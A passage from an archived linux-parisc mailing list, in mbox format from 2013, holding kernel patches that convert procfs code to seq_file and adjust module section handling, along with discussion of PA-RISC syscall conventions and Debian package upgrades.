development for quite a while, not since my SLS and Slackware days when
I'd roll my own kernel regularly, but I remember lots of things broke
when I wasn't careful (libc, anything navigating /proc, etc).

> Would you be willing to post what's missing and broken?  I can try and
> fill in what's missing.

Your warning about the packages on debian-ports.org had prompted me to
remove it from my sources, which in turn was making aptitude throw fits
when asked to calculate any sort of package upgrade.  I have since added
it back in, and (perhaps in conjunction with the packages you have
recently added) have been able to upgrade most of my tool chain now
(gcc, autoconf/make, libtool).

One package I can't seem to upgrade without losing half my system is
dpkg, which I will need in order to build any recent source packages.
I'm still trying to work out if there's anything missing, or if it's
just dependencies that aptitude can't sort out without help.  I may just
have to strip it down to its debian bolts and go from there.

    Kurt.


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Howells <dhowells@redhat.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 20/26] parisc: Don't use create_proc_read_entry() [RFC]
Date: Thu, 11 Apr 2013 14:30:17 +0100
Organization: Red Hat UK Ltd. Registered Address: Red Hat UK Ltd, Amberley
 Place, 107-111 Peascod Street, Windsor, Berkshire, SI4 1TE, United
 Kingdom.
 Registered in England and Wales under Company Registration No. 3798903
Lines: 101
Approved: news@gmane.org
Message-ID: <20130411133017.32763.99586.stgit@warthog.procyon.org.uk>
References: <20130411132739.32763.82609.stgit@warthog.procyon.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1365687130 13454 80.91.229.3 (11 Apr 2013 13:32:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 11 Apr 2013 13:32:10 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, viro@ZenIV.linux.org.uk,
	linux-parisc@vger.kernel.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Apr 11 15:32:13 2013
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1UQHbm-00027f-1p
	for glk-linux-kernel-3@plane.gmane.org; Thu, 11 Apr 2013 15:32:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S935706Ab3DKNah (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 11 Apr 2013 09:30:37 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:35979 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S935410Ab3DKNad (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Thu, 11 Apr 2013 09:30:33 -0400
Original-Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r3BDUJLa020116
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Thu, 11 Apr 2013 09:30:25 -0400
Original-Received: from warthog.procyon.org.uk (ovpn-113-28.phx2.redhat.com [10.3.113.28])
	by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id r3BDUH1F014150;
	Thu, 11 Apr 2013 09:30:18 -0400
In-Reply-To: <20130411132739.32763.82609.stgit@warthog.procyon.org.uk>
User-Agent: StGit/0.16
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1474117 gmane.linux.ports.parisc:4902
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1474117>

Don't use create_proc_read_entry() as that is deprecated, but rather use
proc_create_data() and seq_file instead.

Signed-off-by: David Howells <dhowells@redhat.com>
cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
cc: Helge Deller <deller@gmx.de>
cc: linux-parisc@vger.kernel.org
---

 arch/parisc/kernel/pdc_chassis.c |   47 +++++++++++++++++++-------------------
 1 file changed, 24 insertions(+), 23 deletions(-)

diff --git a/arch/parisc/kernel/pdc_chassis.c b/arch/parisc/kernel/pdc_chassis.c
index d47ba1a..8fa314f 100644
--- a/arch/parisc/kernel/pdc_chassis.c
+++ b/arch/parisc/kernel/pdc_chassis.c
@@ -30,11 +30,13 @@
 #endif
 
 #include <linux/init.h>
+#include <linux/module.h>
 #include <linux/kernel.h>
 #include <linux/reboot.h>
 #include <linux/notifier.h>
 #include <linux/cache.h>
 #include <linux/proc_fs.h>
+#include <linux/seq_file.h>
 
 #include <asm/pdc_chassis.h>
 #include <asm/processor.h>
@@ -244,38 +246,38 @@ int pdc_chassis_send_status(int message)
 
 #ifdef CONFIG_PDC_CHASSIS_WARN
 #ifdef CONFIG_PROC_FS
-static int pdc_chassis_warn_pread(char *page, char **start, off_t off,
-		int count, int *eof, void *data)
+static int pdc_chassis_warn_show(struct seq_file *m, void *v)
 {
-	char *out = page;
-	int len, ret;
 	unsigned long warn;
 	u32 warnreg;
 
-	ret = pdc_chassis_warn(&warn);
-	if (ret != PDC_OK)
+	if (pdc_chassis_warn(&warn) != PDC_OK)
 		return -EIO;
 
 	warnreg = (warn & 0xFFFFFFFF);
 
 	if ((warnreg >> 24) & 0xFF)
-		out += sprintf(out, "Chassis component failure! (eg fan or PSU): 0x%.2x\n", ((warnreg >> 24) & 0xFF));
-
-	out += sprintf(out, "Battery: %s\n", (warnreg & 0x04) ? "Low!" : "OK");
-	out += sprintf(out, "Temp low: %s\n", (warnreg & 0x02) ? "Exceeded!" : "OK");
-	out += sprintf(out, "Temp mid: %s\n", (warnreg & 0x01) ? "Exceeded!" : "OK");
-
-	len = out - page - off;
-	if (len < count) {
-		*eof = 1;
-		if (len <= 0) return 0;
-	} else {
-		len = count;
-	}
-	*start = page + off;
-	return len;
+		seq_printf(m, "Chassis component failure! (eg fan or PSU): 0x%.2x\n",
+			   (warnreg >> 24) & 0xFF);
+
+	seq_printf(m, "Battery: %s\n", (warnreg & 0x04) ? "Low!" : "OK");
+	seq_printf(m, "Temp low: %s\n", (warnreg & 0x02) ? "Exceeded!" : "OK");
+	seq_printf(m, "Temp mid: %s\n", (warnreg & 0x01) ? "Exceeded!" : "OK");
+	return 0;
+}
+
+static int pdc_chassis_warn_open(struct inode *inode, struct file *file)
+{
+	return single_open(file, pdc_chassis_warn_show, NULL);
 }
 
+static const struct file_operations pdc_chassis_warn_fops = {
+	.open		= pdc_chassis_warn_open,
+	.read		= seq_read,
+	.llseek		= seq_lseek,
+	.release	= seq_release,
+};
+
 static int __init pdc_chassis_create_procfs(void)
 {
 	unsigned long test;
@@ -290,8 +292,7 @@ static int __init pdc_chassis_create_procfs(void)
 
 	printk(KERN_INFO "Enabling PDC chassis warnings support v%s\n",
 			PDC_CHASSIS_VER);
-	create_proc_read_entry("chassis", 0400, NULL, pdc_chassis_warn_pread,
-				NULL);
+	proc_create("chassis", 0400, NULL, &pdc_chassis_warn_fops);
 	return 0;
 }
 


From - Thu Nov 08 21:09:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philip Kranz <philip.kranz@googlemail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Add non-zero module sections to sysfs
Date: Thu, 11 Apr 2013 16:11:55 +0200
Lines: 67
Approved: news@gmane.org
Message-ID: <20130411141155.GA21480@yoda.lan>
References: <1364994499-23708-1-git-send-email-sisewank@cip.cs.fau.de> <87mwtf3ya1.fsf@rustcorp.com.au> <515D4A7F.5070102@cip.cs.fau.de> <87vc81lj7x.fsf@rustcorp.com.au> <1365156435.1970.31.camel@dabdike> <20130406104053.GA24710@yoda.lan> <878v4tbqve.fsf@rustcorp.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1365689380 7508 80.91.229.3 (11 Apr 2013 14:09:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 11 Apr 2013 14:09:40 +0000 (UTC)
Cc: Philip Kranz <philip.kranz@googlemail.com>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Sebastian Wankerl <sisewank@cip.cs.fau.de>,
	linux-kernel@vger.kernel.org,
	i4passt@lists.informatik.uni-erlangen.de,
	linux-parisc@vger.kernel.org
To: Rusty Russell <rusty@rustcorp.com.au>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 11 16:09:41 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UQIC2-0001Ad-6I
	for glpp-linux-parisc@plane.gmane.org; Thu, 11 Apr 2013 16:09:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755678Ab3DKOJh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 11 Apr 2013 10:09:37 -0400
Original-Received: from mail-we0-f170.google.com ([74.125.82.170]:54798 "EHLO
	mail-we0-f170.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752513Ab3DKOJg (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 11 Apr 2013 10:09:36 -0400
Original-Received: by mail-we0-f170.google.com with SMTP id z2so1262422wey.15
        for <multiple recipients>; Thu, 11 Apr 2013 07:09:35 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=20120113;
        h=x-received:date:from:to:cc:subject:message-id:references
         :mime-version:content-type:content-disposition:in-reply-to
         :user-agent;
        bh=jPKKwkd3hZxvvMQyvfn2qvDkeGJDn2Wf4PkqoBQ7ORw=;
        b=VwSEoZNa6Zaixt68xHKJImC6XBDUko1edkysf7brEcaqfsUVPl3i4QhWZjAAAJXO4Z
         6zvjX5i2LBfR1UXWGAQymt3AFoHmbrGuvqV6UAw7rAP4pjAeeas31EG1h+HXhYd+9Dl5
         +YCgsjxSUAazd7sI5Ps7BZjMWu/LxltUoUe/hn2JSPUuCOZUw2U6GtnOBsjbeKRUl4CC
         6Bh/dm/1DT4gnf38f0gFGLdlycJEvrwKcJxgUayE7f+ZYtuJPx4NSmMIHoOTjCJnqQ5m
         Gf8yM3fc9/gaK1+KYEFgYnwBpOpyiLB3yju8jc6SthBAxpZ2B1UjCJ0IN43UgBotra10
         kpyg==
X-Received: by 10.180.98.198 with SMTP id ek6mr10715571wib.7.1365689375591;
        Thu, 11 Apr 2013 07:09:35 -0700 (PDT)
Original-Received: from hydra.lan (p5494880C.dip0.t-ipconnect.de. [84.148.136.12])
        by mx.google.com with ESMTPS id o5sm3752108wix.3.2013.04.11.07.09.32
        (version=TLSv1 cipher=RC4-SHA bits=128/128);
        Thu, 11 Apr 2013 07:09:34 -0700 (PDT)
Original-Received: from [192.168.1.20] (helo=yoda.lan)
	by hydra.lan with esmtpsa (TLS1.0:DHE_RSA_AES_256_CBC_SHA1:32)
	(Exim 4.72)
	(envelope-from <philip@yoda.lan>)
	id 1UQI5x-0007DS-Ba; Thu, 11 Apr 2013 16:03:21 +0200
Content-Disposition: inline
In-Reply-To: <878v4tbqve.fsf@rustcorp.com.au>
User-Agent: Mutt/1.5.14 (2007-03-31)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4903 gmane.linux.kernel:1474140
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4903>

On Mon, Apr 08, 2013 at 01:44:45PM +0930, Rusty Russell wrote:
> Philip Kranz <philip.kranz@googlemail.com> writes:
> > Hello.
> >
> > On Fri, Apr 05, 2013 at 12:07:15PM +0200, James Bottomley wrote:
> >> Just so you know: this isn't a parisc specific problem.  Gcc produces
> >> duplicate section names under various circumstances, but the one that
> >> bites us is -ffunction-sections.  Note that there are proposals to use
> >> -ffunction-sections on all architectures (so we can garbage collect
> >> unused functions) in which case you'll induce the bug identified in
> >> 35dead4235e2b67da7275b4122fed37099c2f462 on every architecture
> >
> > I am not able to produce an object file with duplicate section names
> > using gcc on x86. Even with -ffunction-sections, every section gets a
> > unique name. Is this architecture-specific behaviour of gcc?
> 
> Good point.  ld -r will collapse them into the same section (since gcc
> produces them they have to have the same section attributes).
> 
> You can do it with --unique, but no arch uses that.  PARISC has a
> platform-specific toolchain hack which does that for .text sections.
> (Thanks to Alan Modra for that clue...)

Just for clarification, as we are currently preparing a patch set that
depends on this: Would the patch below be an acceptable solution for
this?

Thanks,
Philip



diff --git a/arch/parisc/kernel/module.c b/arch/parisc/kernel/module.c
index 2a625fb..1fd4411 100644
--- a/arch/parisc/kernel/module.c
+++ b/arch/parisc/kernel/module.c
@@ -341,6 +341,11 @@ int module_frob_arch_sections(CONST Elf_Ehdr *hdr,
                ".PARISC.unwind", 14) == 0)
            me->arch.unwind_section = i;
 
+       /* we produce multiple, empty .text sections, and kallsyms
+       * gets upset.  make non-alloc so it doesn't see them. */
+       if (sechdrs[i].sh_size == 0)
+           sechdrs[i].sh_flags &= ~SHF_ALLOC;
+
        if (sechdrs[i].sh_type != SHT_RELA)
            continue;
 
diff --git a/kernel/module.c b/kernel/module.c
index 3c2c72d..42e0d5a 100644
--- a/kernel/module.c
+++ b/kernel/module.c
@@ -1316,7 +1316,7 @@ resolve_symbol_wait(struct module *mod,
 #ifdef CONFIG_KALLSYMS
 static inline bool sect_empty(const Elf_Shdr *sect)
 {
-   return !(sect->sh_flags & SHF_ALLOC) || sect->sh_size == 0;
+   return !(sect->sh_flags & SHF_ALLOC);
 }
 
 struct module_sect_attr

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.man
Subject: Re: [PATCH] man2 : syscall.2 : document syscall calling conventions
Date: Thu, 11 Apr 2013 21:55:43 -0400
Organization: wh0rd.org
Lines: 52
Approved: news@gmane.org
Message-ID: <201304112155.46349.vapier@gentoo.org>
References: <1364361092-5948-1-git-send-email-ch0.han@lge.com> <201304071439.15297.vapier@gentoo.org> <BLU0-SMTP986B123D17DB8B88214F797C40@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart3463933.kiKxh8oLbK";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1365731662 23428 80.91.229.3 (12 Apr 2013 01:54:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 12 Apr 2013 01:54:22 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	"Michael Kerrisk (man-pages)" <mtk.manpages@gmail.com>,
	"linux-man" <linux-man@vger.kernel.org>,
	Kyle McMartin <kyle@infradead.org>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 12 03:54:25 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UQTC5-00018l-AJ
	for glpp-linux-parisc@plane.gmane.org; Fri, 12 Apr 2013 03:54:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752362Ab3DLByV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 11 Apr 2013 21:54:21 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:47008 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752153Ab3DLByV (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 11 Apr 2013 21:54:21 -0400
Original-Received: from vapier.localnet (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id C22E933DDB6;
	Fri, 12 Apr 2013 01:54:20 +0000 (UTC)
User-Agent: KMail/1.13.7 (Linux/3.8.3; KDE/4.6.5; x86_64; ; )
In-Reply-To: <BLU0-SMTP986B123D17DB8B88214F797C40@phx.gbl>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4904 gmane.linux.man:3902
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4904>

--nextPart3463933.kiKxh8oLbK
Content-Type: Text/Plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

On Sunday 07 April 2013 14:48:42 John David Anglin wrote:
> On 7-Apr-13, at 2:39 PM, Mike Frysinger wrote:
> > just to be clear, the only insn you need is:
> > 	ble 0x100(%sr2, %r0);
> >=20
> > the kernel docs say sr2 holds the kernel gateway page (so i guess
> > 0x100 is a
> > known offset into that).  the docs don't mention r0 that i can see,
> > so i'm
> > guessing it's one of those "always 0" registers ?
>=20
> Yes.  There is also an entry at offset 0xb0 for light-weight-
> syscalls.  Currently,
> this implements an atomic CAS operation used for pthread support.

interesting.  sounds like a poor man's vDSO.  i'll document this the new=20
vdso(7) man page.
=2Dmike

--nextPart3463933.kiKxh8oLbK
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.17 (GNU/Linux)

iQIcBAABAgAGBQJRZ2miAAoJEEFjO5/oN/WBqCYP/jUXIPu+yVqoSenYutuvGiW7
eHyiE8eXxjgiLSmy6IgLYxIHQuUNoWpuku+4mLmEEAjU+dLIR2J2cHwSPuKm0I00
QObDtRDPAekHM3hv1wlNyfE33Kc32LyRtMHhsQZJnfDp5+n+LN7RtxnjTRiq807L
5+qMxUPIjwrPnHkbR3lPr4BW8F8RO/Tdpi6YWiXn+FyjFAYs7fCFHh/lbciifNBw
1BBz7L+8wuE06DBsmd2i2xfsHeDuchegcXY0VWyQ8X4sUQY9LQMjQ6nzqCqVrnfv
ctHj1H8pWIjDRRD1BbDyLuiG06DSXOYUx2JOCwqUjXVdt6hnxqJmyB06hXC0QB3f
xkooKeLNotlt5PqXwJKd3vZ74HAWT67FdeE9rI9GvvtKYVoyXDJ2e9LH0O3M6ujI
ZrQCl1TXLAt5FCCGdVke1TEWFLa9W5aZZ9nyBRbHDLwairkvYXT2y3hnu62VHeft
YHnLxP67qCd/nwd53gH9m5SOYF8otFzK9pNU+f7SDt6pENLTLRriLMn7+E798OhG
Zomt46Cdsi6mbYY0lIxa+x0tFQj9DoUKFqhe4e582svjWR6VueEg3/5uafxvueNr
QbcPeOUss5Njq5sELZVUN1Xqfrm3gNeG++u9s3vlGOKAO6/4yk/Cefa48WNrkcV7
kkneFt/OMHaVEUML46GM
=MVHR
-----END PGP SIGNATURE-----

--nextPart3463933.kiKxh8oLbK--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin-CzeTG9NwML0@public.gmane.org>
Newsgroups: gmane.linux.man,gmane.linux.ports.parisc
Subject: Re: [PATCH] man2 : syscall.2 : document syscall calling conventions
Date: Thu, 11 Apr 2013 22:34:43 -0400
Lines: 43
Approved: news@gmane.org
Message-ID: <BLU0-SMTP62F4273B01E0328ADCD7BE97C10@phx.gbl>
References: <1364361092-5948-1-git-send-email-ch0.han@lge.com> <201304071439.15297.vapier@gentoo.org> <BLU0-SMTP986B123D17DB8B88214F797C40@phx.gbl> <201304112155.46349.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1365734124 13741 80.91.229.3 (12 Apr 2013 02:35:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 12 Apr 2013 02:35:24 +0000 (UTC)
Cc: Kyle McMartin <kyle-pfcGkIkfWfAsA/PxXw9srA@public.gmane.org>,
	"Michael Kerrisk (man-pages)" <mtk.manpages-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	"linux-man" <linux-man-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	Kyle McMartin <kyle-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org>,
	Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>,
	"James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Mike Frysinger <vapier-aBrp7R+bbdUdnm+yROfE0A@public.gmane.org>
Original-X-From: linux-man-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Fri Apr 12 04:35:27 2013
Return-path: <linux-man-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glm-linux-man-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-man-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1UQTpm-0003Ij-Gx
	for glm-linux-man-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Fri, 12 Apr 2013 04:35:26 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1751367Ab3DLCfY (ORCPT <rfc822;glm-linux-man@m.gmane.org>);
	Thu, 11 Apr 2013 22:35:24 -0400
Original-Received: from blu0-omc4-s5.blu0.hotmail.com ([65.55.111.144]:20388 "EHLO
	blu0-omc4-s5.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751026Ab3DLCfY (ORCPT
	<rfc822;linux-man-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Thu, 11 Apr 2013 22:35:24 -0400
Original-Received: from BLU0-SMTP62 ([65.55.111.136]) by blu0-omc4-s5.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Thu, 11 Apr 2013 19:35:23 -0700
X-EIP: [80vhNTSf33erJhnM3OouqcvZ4rX+MUJ0]
X-Originating-Email: [dave.anglin-CzeTG9NwML0@public.gmane.org]
Original-Received: from [192.168.2.10] ([69.158.169.249]) by BLU0-SMTP62.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Thu, 11 Apr 2013 19:35:22 -0700
In-Reply-To: <201304112155.46349.vapier-aBrp7R+bbdUdnm+yROfE0A@public.gmane.org>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 12 Apr 2013 02:35:22.0966 (UTC) FILETIME=[61D07760:01CE3726]
Original-Sender: linux-man-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-man.vger.kernel.org>
X-Mailing-List: linux-man-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.man:3903 gmane.linux.ports.parisc:4905
Archived-At: <http://permalink.gmane.org/gmane.linux.man/3903>

On 11-Apr-13, at 9:55 PM, Mike Frysinger wrote:

> On Sunday 07 April 2013 14:48:42 John David Anglin wrote:
>> On 7-Apr-13, at 2:39 PM, Mike Frysinger wrote:
>>> just to be clear, the only insn you need is:
>>> 	ble 0x100(%sr2, %r0);
>>>
>>> the kernel docs say sr2 holds the kernel gateway page (so i guess
>>> 0x100 is a
>>> known offset into that).  the docs don't mention r0 that i can see,
>>> so i'm
>>> guessing it's one of those "always 0" registers ?
>>
>> Yes.  There is also an entry at offset 0xb0 for light-weight-
>> syscalls.  Currently,
>> this implements an atomic CAS operation used for pthread support.
>
> interesting.  sounds like a poor man's vDSO.  i'll document this the  
> new
> vdso(7) man page.

Not exactly, the code runs on the gateway page which is in kernel space.
The main reason for doing the operation in kernel space is to prevent
processes from being preempted while executing in the lock region.  In  
general,
parisc processes are not preempted on the gateway page.  There are
some subtleties regarding fault handling.

There is support in glibc and libgcc for these calls.  The libgcc  
implementation
in linux-atomic.c is very similar to that on arm.

Dave
--
John David Anglin	dave.anglin-CzeTG9NwML0@public.gmane.org



--
To unsubscribe from this list: send the line "unsubscribe linux-man" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.man
Subject: Re: [PATCH] man2 : syscall.2 : document syscall calling conventions
Date: Thu, 11 Apr 2013 23:38:53 -0400
Organization: wh0rd.org
Lines: 118
Approved: news@gmane.org
Message-ID: <201304112338.56618.vapier@gentoo.org>
References: <1364361092-5948-1-git-send-email-ch0.han@lge.com> <201304112155.46349.vapier@gentoo.org> <BLU0-SMTP62F4273B01E0328ADCD7BE97C10@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart1603183.eDxiJ80Ly0";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1365737850 10801 80.91.229.3 (12 Apr 2013 03:37:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 12 Apr 2013 03:37:30 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	"Michael Kerrisk (man-pages)" <mtk.manpages@gmail.com>,
	"linux-man" <linux-man@vger.kernel.org>,
	Kyle McMartin <kyle@infradead.org>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 12 05:37:33 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UQUns-0001i5-AK
	for glpp-linux-parisc@plane.gmane.org; Fri, 12 Apr 2013 05:37:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751864Ab3DLDhb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 11 Apr 2013 23:37:31 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:50487 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751586Ab3DLDha (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 11 Apr 2013 23:37:30 -0400
Original-Received: from vapier.localnet (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id 65D2933DE6D;
	Fri, 12 Apr 2013 03:37:30 +0000 (UTC)
User-Agent: KMail/1.13.7 (Linux/3.8.3; KDE/4.6.5; x86_64; ; )
In-Reply-To: <BLU0-SMTP62F4273B01E0328ADCD7BE97C10@phx.gbl>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4906 gmane.linux.man:3904
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4906>

--nextPart1603183.eDxiJ80Ly0
Content-Type: Text/Plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

On Thursday 11 April 2013 22:34:43 John David Anglin wrote:
> On 11-Apr-13, at 9:55 PM, Mike Frysinger wrote:
